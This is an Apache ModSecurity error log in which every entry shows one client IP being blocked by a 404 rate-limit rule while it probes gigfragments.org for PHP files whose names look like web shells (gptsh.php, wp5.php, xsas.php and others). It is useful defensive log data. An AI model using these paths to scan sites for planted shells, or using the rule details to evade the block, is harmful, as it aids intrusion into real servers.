[Sat Apr 11 03:43:52.313904 2026] [:error] [pid 21568:tid 21581] [client 4.219.9.127:6163] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adlS-Iiz5v_ljZxkpR8KcAAAAQk"]
[Sat Apr 11 03:43:53.308657 2026] [:error] [pid 21706:tid 21725] [client 4.219.9.127:32774] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adlS-SGQ1M5d8fQSsLEa5AAAABE"]
[Sat Apr 11 03:43:54.116324 2026] [:error] [pid 55451:tid 55458] [client 4.219.9.127:34460] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adlS-nApxuyB7yCS5RlfCwAAAMU"]
[Sat Apr 11 03:43:55.224317 2026] [:error] [pid 21570:tid 21696] [client 4.219.9.127:34376] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adlS-zKs5t9xRSNL6cn_FAAAAFY"]
[Sat Apr 11 03:43:56.091777 2026] [:error] [pid 55451:tid 55460] [client 4.219.9.127:7056] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adlS_HApxuyB7yCS5RlfEAAAAMc"]
[Sat Apr 11 03:43:57.006934 2026] [:error] [pid 21570:tid 21691] [client 4.219.9.127:6913] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adlS_TKs5t9xRSNL6cn_GwAAAFE"]
[Sat Apr 11 03:43:58.671482 2026] [:error] [pid 21570:tid 21685] [client 4.219.9.127:40866] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adlS_jKs5t9xRSNL6cn_IAAAAEw"]
[Sat Apr 11 03:43:59.952633 2026] [:error] [pid 21569:tid 21664] [client 4.219.9.127:7103] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adlS_3AvQTgvXJ6vHorKOAAAAJA"]
[Sat Apr 11 03:44:01.456150 2026] [:error] [pid 21706:tid 21724] [client 4.219.9.127:6201] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adlTASGQ1M5d8fQSsLEbHQAAABA"]
[Sat Apr 11 03:44:02.268059 2026] [:error] [pid 21706:tid 21719] [client 4.219.9.127:38276] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adlTAiGQ1M5d8fQSsLEbJAAAAAs"]
[Sat Apr 11 03:44:03.101793 2026] [:error] [pid 21568:tid 21596] [client 4.219.9.127:33770] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adlTA4iz5v_ljZxkpR8KhQAAARg"]
[Sat Apr 11 03:44:04.341713 2026] [:error] [pid 21569:tid 21674] [client 4.219.9.127:33768] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adlTBHAvQTgvXJ6vHorKQgAAAJQ"]
[Sat Apr 11 03:44:05.000924 2026] [:error] [pid 21568:tid 21574] [client 4.219.9.127:34413] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adlTBIiz5v_ljZxkpR8KjQAAAQI"]
[Sat Apr 11 03:44:05.854134 2026] [:error] [pid 21706:tid 21718] [client 4.219.9.127:40841] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adlTBSGQ1M5d8fQSsLEbMQAAAAo"]
[Sat Apr 11 03:44:06.590667 2026] [:error] [pid 21706:tid 21732] [client 4.219.9.127:34455] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adlTBiGQ1M5d8fQSsLEbOwAAABg"]
[Sat Apr 11 03:44:07.185523 2026] [:error] [pid 21706:tid 21709] [client 4.219.9.127:34478] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adlTByGQ1M5d8fQSsLEbRwAAAAE"]
[Sat Apr 11 03:44:08.136090 2026] [:error] [pid 21706:tid 21708] [client 4.219.9.127:34418] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adlTCCGQ1M5d8fQSsLEbUwAAAAA"]
[Sat Apr 11 03:44:08.955874 2026] [:error] [pid 21568:tid 21580] [client 4.219.9.127:40835] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adlTCIiz5v_ljZxkpR8KkQAAAQg"]
[Sat Apr 11 03:44:10.325982 2026] [:error] [pid 21706:tid 21723] [client 4.219.9.127:39768] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adlTCiGQ1M5d8fQSsLEbZwAAAA8"]
[Sat Apr 11 03:44:11.397128 2026] [:error] [pid 21706:tid 21712] [client 4.219.9.127:38287] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adlTCyGQ1M5d8fQSsLEbbgAAAAQ"]
[Sat Apr 11 03:44:12.096680 2026] [:error] [pid 21706:tid 21732] [client 4.219.9.127:19905] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlTDCGQ1M5d8fQSsLEbcgAAABg"]
[Sat Apr 11 03:44:12.990801 2026] [:error] [pid 21570:tid 21690] [client 4.219.9.127:40868] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlTDDKs5t9xRSNL6cn_MAAAAFA"]
[Sat Apr 11 03:44:13.957415 2026] [:error] [pid 21706:tid 21716] [client 4.219.9.127:38314] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlTDSGQ1M5d8fQSsLEbfAAAAAg"]
[Sat Apr 11 03:44:14.973177 2026] [:error] [pid 55451:tid 55467] [client 4.219.9.127:6416] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlTDnApxuyB7yCS5RlfSwAAAM4"]
[Sat Apr 11 03:44:16.590580 2026] [:error] [pid 21706:tid 21724] [client 4.219.9.127:33732] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adlTECGQ1M5d8fQSsLEbiQAAABA"]
[Sat Apr 11 03:44:17.801076 2026] [:error] [pid 21568:tid 21596] [client 4.219.9.127:19927] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adlTEYiz5v_ljZxkpR8KsQAAARg"]
[Sat Apr 11 03:44:18.804993 2026] [:error] [pid 21706:tid 21729] [client 4.219.9.127:34448] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adlTEiGQ1M5d8fQSsLEbkgAAABU"]
[Sat Apr 11 03:44:19.664656 2026] [:error] [pid 21706:tid 21717] [client 4.219.9.127:38285] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adlTEyGQ1M5d8fQSsLEbmAAAAAk"]
[Sat Apr 11 03:44:22.176485 2026] [:error] [pid 21706:tid 21732] [client 4.219.9.127:6409] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlTFiGQ1M5d8fQSsLEbsAAAABg"]
[Sat Apr 11 03:45:52.857097 2026] [:error] [pid 28885:tid 28895] [client 4.219.9.127:7061] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adlTcH2iCFVxW66hy9ll0wAAAAU"]
[Sat Apr 11 03:45:54.082319 2026] [:error] [pid 28974:tid 28981] [client 4.219.9.127:6440] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adlTcsEQdKpBT5aDwgdyOAAAAMA"]
[Sat Apr 11 03:45:54.956866 2026] [:error] [pid 28974:tid 28983] [client 4.219.9.127:34433] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adlTcsEQdKpBT5aDwgdyOgAAAMI"]
[Sat Apr 11 03:45:55.637251 2026] [:error] [pid 28886:tid 28931] [client 4.219.9.127:33754] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adlTczgjxUxA5ZaT6Y-N3AAAAE0"]
[Sat Apr 11 03:45:56.345118 2026] [:error] [pid 28885:tid 28912] [client 4.219.9.127:29017] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adlTdH2iCFVxW66hy9ll7gAAABY"]
[Sat Apr 11 03:45:57.819318 2026] [:error] [pid 28885:tid 28908] [client 4.219.9.127:39798] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adlTdX2iCFVxW66hy9ll9AAAABI"]
[Sat Apr 11 03:46:00.183802 2026] [:error] [pid 28887:tid 28963] [client 4.219.9.127:38326] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adlTeOjYJKYBG2vOFcfnfAAAAJI"]
[Sat Apr 11 03:46:00.733074 2026] [:error] [pid 28885:tid 28892] [client 4.219.9.127:6959] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adlTeH2iCFVxW66hy9ll9wAAAAI"]
[Sat Apr 11 03:46:01.641380 2026] [:error] [pid 28886:tid 28936] [client 4.219.9.127:6755] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/jp.php"] [unique_id "adlTeTgjxUxA5ZaT6Y-N8gAAAFI"]
[Sat Apr 11 03:46:02.598130 2026] [:error] [pid 28886:tid 28919] [client 4.219.9.127:29049] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/jp.php"] [unique_id "adlTejgjxUxA5ZaT6Y-N9wAAAEE"]
[Sat Apr 11 03:46:03.382826 2026] [:error] [pid 28886:tid 28924] [client 4.219.9.127:32803] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/jp.php"] [unique_id "adlTezgjxUxA5ZaT6Y-N_AAAAEY"]
[Sat Apr 11 03:46:07.137856 2026] [:error] [pid 29127:tid 29136] [client 4.219.9.127:33764] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/jp.php"] [unique_id "adlTf8q7cKEyaraz0fFG5AAAAAU"]
[Sat Apr 11 03:46:07.795149 2026] [:error] [pid 29129:tid 29186] [client 4.219.9.127:6453] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adlTf3RnkC0DcrJJhbE-MwAAAIE"]
[Sat Apr 11 03:46:08.463798 2026] [:error] [pid 29129:tid 29188] [client 4.219.9.127:33774] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adlTgHRnkC0DcrJJhbE-NgAAAIM"]
[Sat Apr 11 03:46:09.195453 2026] [:error] [pid 29128:tid 29166] [client 4.219.9.127:40844] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adlTgZIl2wjAmyAX0LRrKAAAAEg"]
[Sat Apr 11 03:46:09.843562 2026] [:error] [pid 29127:tid 29133] [client 4.219.9.127:54885] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adlTgcq7cKEyaraz0fFHAQAAAAI"]
[Sat Apr 11 03:46:10.553992 2026] [:error] [pid 29129:tid 29197] [client 4.219.9.127:7079] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adlTgnRnkC0DcrJJhbE-PgAAAIw"]
[Sat Apr 11 03:46:11.646053 2026] [:error] [pid 29128:tid 29172] [client 4.219.9.127:6926] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adlTg5Il2wjAmyAX0LRrLwAAAE4"]
[Sat Apr 11 03:46:12.398333 2026] [:error] [pid 29128:tid 29175] [client 4.219.9.127:34468] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adlThJIl2wjAmyAX0LRrMAAAAFE"]
[Sat Apr 11 03:46:16.504002 2026] [:error] [pid 29320:tid 29338] [client 4.219.9.127:6937] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adlTiEvC6JNXatfgS0Le_QAAAEk"]
[Sat Apr 11 03:46:28.497632 2026] [:error] [pid 29605:tid 29681] [client 4.219.9.127:34384] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adlTlLU_C52VZ4EapdltZQAAAAk"]
[Sat Apr 11 03:46:29.287689 2026] [:error] [pid 29614:tid 29728] [client 4.219.9.127:33751] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adlTlTXuemvqAmnda9AIJgAAAII"]
[Sat Apr 11 03:46:30.380442 2026] [:error] [pid 29613:tid 29705] [client 4.219.9.127:32782] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adlTlishLgJF2LXR-rRPtQAAAEY"]
[Sat Apr 11 03:46:31.302798 2026] [:error] [pid 29614:tid 29741] [client 4.219.9.127:33738] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adlTlzXuemvqAmnda9AIMAAAAI8"]
[Sat Apr 11 03:46:32.361904 2026] [:error] [pid 29614:tid 29750] [client 4.219.9.127:29048] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adlTmDXuemvqAmnda9AIOwAAAJg"]
[Sat Apr 11 03:46:32.961143 2026] [:error] [pid 29613:tid 29712] [client 4.219.9.127:19923] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adlTmCshLgJF2LXR-rRPvAAAAE0"]
[Sat Apr 11 03:46:33.606633 2026] [:error] [pid 29772:tid 29792] [client 4.219.9.127:35993] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adlTmbV5ZjdDbYzB0IcU4AAAAMY"]
